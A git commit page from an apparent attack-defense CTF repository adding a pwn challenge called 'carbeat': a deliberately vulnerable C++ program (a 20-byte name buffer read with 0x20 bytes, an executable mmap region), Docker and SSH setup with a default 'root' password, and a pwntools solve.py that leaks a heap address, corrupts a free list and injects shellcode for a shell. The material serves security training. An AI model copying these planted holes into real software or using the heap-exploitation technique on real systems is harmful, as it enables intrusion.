MythEclipse/attack-defense-platform
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

add carbeat

Browse Source
This commit is contained in:
adzkyyy
2025-10-25 09:53:39 +07:00
parent 604bd24b04
commit 404e2a82cb
12 changed files with 657 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
services/carbeat/.gdb_history
+17
View File
@@ -0,0 +1,17 @@
c
q
c
q
c
c
c
c
c
q
c
c
c
c
c
c
q
services/carbeat/Dockerfile
+32
View File
@@ -0,0 +1,32 @@
# Dockerfile
FROM ubuntu:24.04
# Build-time args
ARG PASSWORD=root
ENV DEBIAN_FRONTEND=noninteractive
WORKDIR /home/ctf/chall
RUN apt-get update && \
apt-get install -y --no-install-recommends \
make \
g++ \
socat \
build-essential \
openssh-server \
bash \
nano \
vim \
&& rm -rf /var/lib/apt/lists/*
RUN useradd -m -d /home/ctf -s /bin/bash ctf && echo "ctf:${PASSWORD}" | chpasswd
RUN mkdir -p /var/run/sshd
COPY chall/ /home/ctf/chall
COPY ./entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh /home/ctf/chall/run.sh && \
chown -R root:root /home/ctf/chall && chmod -R 555 /home/ctf/chall
EXPOSE 9000 22
CMD ["/entrypoint.sh"]
services/carbeat/Makefile
+18
View File
@@ -0,0 +1,18 @@
# Makefile for final_gemastik
# Builds available binaries: mybini (C++), storage (C++), main (C), test (C)
CXX := g++
CXXFLAGS := -std=c++17 -O2 -Wall -Wextra
# Explicit targets (adjust file names as needed)
MYBINI_SRCS := mybini.cpp
.PHONY: all clean
all: mybini
mybini: $(MYBINI_SRCS)
$(CXX) $(CXXFLAGS) $< -o $@
clean:
rm -f mybini *.o
services/carbeat/chall/Makefile
+14
View File
@@ -0,0 +1,14 @@
CXX := g++
CXXFLAGS := -std=c++17 -Wall -Wextra
MYBINI_SRCS := mybini.cpp
.PHONY: all clean
all: mybini
mybini: $(MYBINI_SRCS)
$(CXX) $(CXXFLAGS) $< -o $@
clean:
rm -f mybini *.o
services/carbeat/chall/mybini
BIN
View File
Binary file not shown.
services/carbeat/chall/mybini.cpp
+227
View File
@@ -0,0 +1,227 @@
#include <algorithm>
#include <cstddef>
#include <iostream>
#include <string>
#include <vector>
#include <cstring>
#include <fcntl.h>
#include <sys/mman.h>
struct Bini {
Bini *next = nullptr;
char *curr = nullptr;
Bini() {}
Bini(char *my) {
curr = my;
}
};
class MyKisah {
private:
Bini *free = nullptr;
Bini *used = nullptr;
char *kisah;
public:
MyKisah() {
kisah = (char*)mmap(nullptr, 0x120, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
for (int i = 0; i < 0x120; i += 0x20) {
Bini *tmp = free;
free = new Bini(kisah + i);
free->next = tmp;
}
}
int add(char *bini) {
if (!free) return -1;
Bini *tmp = used;
used = free;
free = free->next;
used->next = tmp;
strncpy(used->curr, bini, 0x20);
return 0;
}
int del(unsigned int id) {
if (!used) return -1;
if (!id) {
Bini *tmp = free;
free = used;
used = used->next;
free->next = tmp;
return 0;
}
Bini *cur = used;
for (int i = 0; i < (int)id - 1; ++i) {
if (!cur) return -1;
cur = cur->next;
}
if (!cur || !cur->next) return -1;
Bini *tmp = free;
free = cur->next;
cur->next = cur->next->next;
free->next = tmp;
return 0;
}
void view(int id) {
Bini *cur = used;
for (int i = 0; i < id; ++i) {
if (!cur) {
std::cout << "no bini\n";
return;
}
cur = cur->next;
}
if (!cur) {
std::cout << "no bini\n";
return;
}
std::cout << cur->curr << '\n';
}
};
class Karbit {
protected:
size_t karbit_level;
public:
char karbit[20];
Karbit() {
std::cout << "nama: ";
std::cin.ignore();
std::cin.getline(karbit, 0x20);
std::cout << "level karbit (0-100): ";
std::cin >> karbit_level;
}
void info(){
std::cout << karbit << " adalah "<< std::min(karbit_level, (size_t)100) << "%" << " karbit\n";
}
virtual void mybini() = 0;
};
class User: public Karbit {
private:
MyKisah my;
public:
User(){}
void mybini() {
std::cout << "0. edit karbit\n1. add bini\n2. view bini\n3. delete bini\n4. logout\n";
}
void edit_karbit(){
std::cout << "karbit old: " << karbit << '\n';
std::cout << "karbit new: ";
std::cin.ignore();
std::cin.getline(karbit, 0x20);
}
void add_bini(){
char bini[0x20];
std::cout << "nama bini: ";
std::cin.ignore();
std::cin.getline(bini, 0x20);
if (my.add(bini) == -1) {
std::cout << "gagal menambah bini\n";
return;
}
}
void view_bini(){
unsigned int idx;
std::cout << "index bini: ";
std::cin >> idx;
my.view(idx);
}
void delete_bini(){
unsigned int idx;
std::cout << "index bini: ";
std::cin >> idx;
if (my.del(idx) == -1) {
std::cout << "gagal menghapus bini\n";
return;
}
}
};
std::vector<User> users;
int selected_user = -1;
int main(){
int c;
for (;;){
if (selected_user == -1) {
std::cout << "1. register" << std::endl;
std::cout << "2. login" << std::endl;
std::cout << "3. list karbit" << std::endl;
std::cout << "> ";
std::cin >> c;
switch (c) {
case 1:
users.push_back(User{});
break;
case 2:
{
std::string name;
std::cout << "nama: ";
std::cin >> name;
for (int i = 0; i < (int)users.size(); i++){
if (users[i].karbit == name) {
selected_user = i;
break;
}
}
if (selected_user == -1) {
std::cout << "karbit tidak ditemukan" << std::endl;
}
}
break;
case 3:
for (auto& user : users) user.info();
break;
default:
std::cout << "invalid option" << std::endl;
}
} else {
users[selected_user].mybini();
std::cout << "> ";
std::cin >> c;
switch (c) {
case 0:
users[selected_user].edit_karbit();
break;
case 1:
users[selected_user].add_bini();
break;
case 2:
users[selected_user].view_bini();
break;
case 3:
users[selected_user].delete_bini();
break;
case 4:
selected_user = -1;
break;
default:
std::cout << "invalid option" << std::endl;
break;
}
}
}
return 0;
}
void init() {
setbuf(stdin, nullptr);
setbuf(stdout, nullptr);
setbuf(stderr, nullptr);
}
services/carbeat/chall/run.sh
+3
View File
@@ -0,0 +1,3 @@
#!/bin/bash
exec socat TCP-LISTEN:9000,reuseaddr,fork EXEC:./mybini
services/carbeat/dist/carbeat.zip
Vendored
BIN
View File
Binary file not shown.
services/carbeat/docker-compose.yml
+14
View File
@@ -0,0 +1,14 @@
services:
carbeat:
container_name: carbeat_container
hostname: carbeat
restart: always
build:
context: .
args:
- PASSWORD=root
ports:
- "14000:9000"
- "14022:22"
environment:
- FLAG=GEMASTIK18{local_flag}
services/carbeat/entrypoint.sh
+24
View File
@@ -0,0 +1,24 @@
#!/bin/bash
set -e
ssh-keygen -A
grep -q "^PermitRootLogin" /etc/ssh/sshd_config && \
sed -i "s/^PermitRootLogin.*/PermitRootLogin no/" /etc/ssh/sshd_config || \
echo "PermitRootLogin no" >> /etc/ssh/sshd_config
grep -q "^PasswordAuthentication" /etc/ssh/sshd_config && \
sed -i "s/^PasswordAuthentication.*/PasswordAuthentication yes/" /etc/ssh/sshd_config || \
echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config
echo "AllowUsers ctf" >> /etc/ssh/sshd_config
/usr/sbin/sshd
if [ -n "$FLAG" ]; then
echo "$FLAG" > /flag.txt
chmod 644 /flag.txt
chown root:root /flag.txt
fi
exec su -c "cd /home/ctf/chall && ./run.sh" -s /bin/bash ctf
services/carbeat/exploit/solve.py
+81
View File
@@ -0,0 +1,81 @@
from pwn import *
context.terminal = "tmux splitw -h".split()
context.binary = elf = ELF('chall/mybini')
#p = gdb.debug(elf.path, '''
#set max-visualize-chunk-size 0x500
#b * _ZN7MyKisah3addEPc+110
#c
#''')
#p = elf.process()
#gdb.attach(p)
p = remote('localhost', 14000)
def register(name, level):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b': ', name)
p.sendlineafter(b': ', str(level).encode())
def login(name):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b': ', name)
def logout():
p.sendlineafter(b'> ', b'4')
def add(data):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b': ', data)
def edit(name):
p.sendlineafter(b'> ', b'0')
p.sendlineafter(b': ', name)
def delete(idx):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b': ', str(idx).encode())
register(b'user0', 0xdeadbeef)
register(b'user1', 0xdeadbeef)
register(b'user2', 0xdeadbeef)
login(b'user2')
for i in range(8): add(b'a')
read = shellcraft.read(0, 'rdx', 0x100)
add(asm(read))
logout()
register(b'user3', 0xdeadbeef)
register(b'user4', 0xdeadbeef)
register(b'user5', 0xdeadbeef)
register(b'x' * 0x10, 0xdeadbeef)
register(b'user7', 0xdeadbeef)
login(b'user5')
for i in range(4): add(b'a')
edit(b'z' * 0x18)
add(b'\0')
logout()
p.sendlineafter(b'> ', b'3')
p.recvuntil(b'x' * 0x10)
heap = unpack(p.recvuntil(b' adalah', drop=True),'all')
log.info(f"{hex(heap) = }")
login(b'z'*0x18)
delete(0)
add(b'a' * 8 + p64(heap-0x130))
delete(0)
logout()
login(b'x'*0x10)
add(p64(heap-0x1f8))
sleep(1)
p.send(b'a' * 0xd + asm(shellcraft.sh()))
p.interactive()
services/carbeat/mybini.cpp
+227
View File
@@ -0,0 +1,227 @@
#include <algorithm>
#include <cstddef>
#include <iostream>
#include <string>
#include <vector>
#include <cstring>
#include <fcntl.h>
#include <sys/mman.h>
struct Bini {
Bini *next = nullptr;
char *curr = nullptr;
Bini() {}
Bini(char *my) {
curr = my;
}
};
class MyKisah {
private:
Bini *free = nullptr;
Bini *used = nullptr;
char *kisah;
public:
MyKisah() {
kisah = (char*)mmap(nullptr, 0x120, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
for (int i = 0; i < 0x120; i += 0x20) {
Bini *tmp = free;
free = new Bini(kisah + i);
free->next = tmp;
}
}
int add(char *bini) {
if (!free) return -1;
Bini *tmp = used;
used = free;
free = free->next;
used->next = tmp;
strncpy(used->curr, bini, 0x20);
return 0;
}
int del(unsigned int id) {
if (!used) return -1;
if (!id) {
Bini *tmp = free;
free = used;
used = used->next;
free->next = tmp;
return 0;
}
Bini *cur = used;
for (int i = 0; i < (int)id - 1; ++i) {
if (!cur) return -1;
cur = cur->next;
}
if (!cur || !cur->next) return -1;
Bini *tmp = free;
free = cur->next;
cur->next = cur->next->next;
free->next = tmp;
return 0;
}
void view(int id) {
Bini *cur = used;
for (int i = 0; i < id; ++i) {
if (!cur) {
std::cout << "no bini\n";
return;
}
cur = cur->next;
}
if (!cur) {
std::cout << "no bini\n";
return;
}
std::cout << cur->curr << '\n';
}
};
class Karbit {
protected:
size_t karbit_level;
public:
char karbit[20];
Karbit() {
std::cout << "nama: ";
std::cin.ignore();
std::cin.getline(karbit, 0x20);
std::cout << "level karbit (0-100): ";
std::cin >> karbit_level;
}
void info(){
std::cout << karbit << " adalah "<< std::min(karbit_level, (size_t)100) << "%" << " karbit\n";
}
virtual void mybini() = 0;
};
class User: public Karbit {
private:
MyKisah my;
public:
User(){}
void mybini() {
std::cout << "0. edit karbit\n1. add bini\n2. view bini\n3. delete bini\n4. logout\n";
}
void edit_karbit(){
std::cout << "karbit old: " << karbit << '\n';
std::cout << "karbit new: ";
std::cin.ignore();
std::cin.getline(karbit, 0x20);
}
void add_bini(){
char bini[0x20];
std::cout << "nama bini: ";
std::cin.ignore();
std::cin.getline(bini, 0x20);
if (my.add(bini) == -1) {
std::cout << "gagal menambah bini\n";
return;
}
}
void view_bini(){
unsigned int idx;
std::cout << "index bini: ";
std::cin >> idx;
my.view(idx);
}
void delete_bini(){
unsigned int idx;
std::cout << "index bini: ";
std::cin >> idx;
if (my.del(idx) == -1) {
std::cout << "gagal menghapus bini\n";
return;
}
}
};
std::vector<User> users;
int selected_user = -1;
int main(){
int c;
for (;;){
if (selected_user == -1) {
std::cout << "1. register" << std::endl;
std::cout << "2. login" << std::endl;
std::cout << "3. list karbit" << std::endl;
std::cout << "> ";
std::cin >> c;
switch (c) {
case 1:
users.push_back(User{});
break;
case 2:
{
std::string name;
std::cout << "nama: ";
std::cin >> name;
for (int i = 0; i < (int)users.size(); i++){
if (users[i].karbit == name) {
selected_user = i;
break;
}
}
if (selected_user == -1) {
std::cout << "karbit tidak ditemukan" << std::endl;
}
}
break;
case 3:
for (auto& user : users) user.info();
break;
default:
std::cout << "invalid option" << std::endl;
}
} else {
users[selected_user].mybini();
std::cout << "> ";
std::cin >> c;
switch (c) {
case 0:
users[selected_user].edit_karbit();
break;
case 1:
users[selected_user].add_bini();
break;
case 2:
users[selected_user].view_bini();
break;
case 3:
users[selected_user].delete_bini();
break;
case 4:
selected_user = -1;
break;
default:
std::cout << "invalid option" << std::endl;
break;
}
}
}
return 0;
}
void init() {
setbuf(stdin, nullptr);
setbuf(stdout, nullptr);
setbuf(stderr, nullptr);
}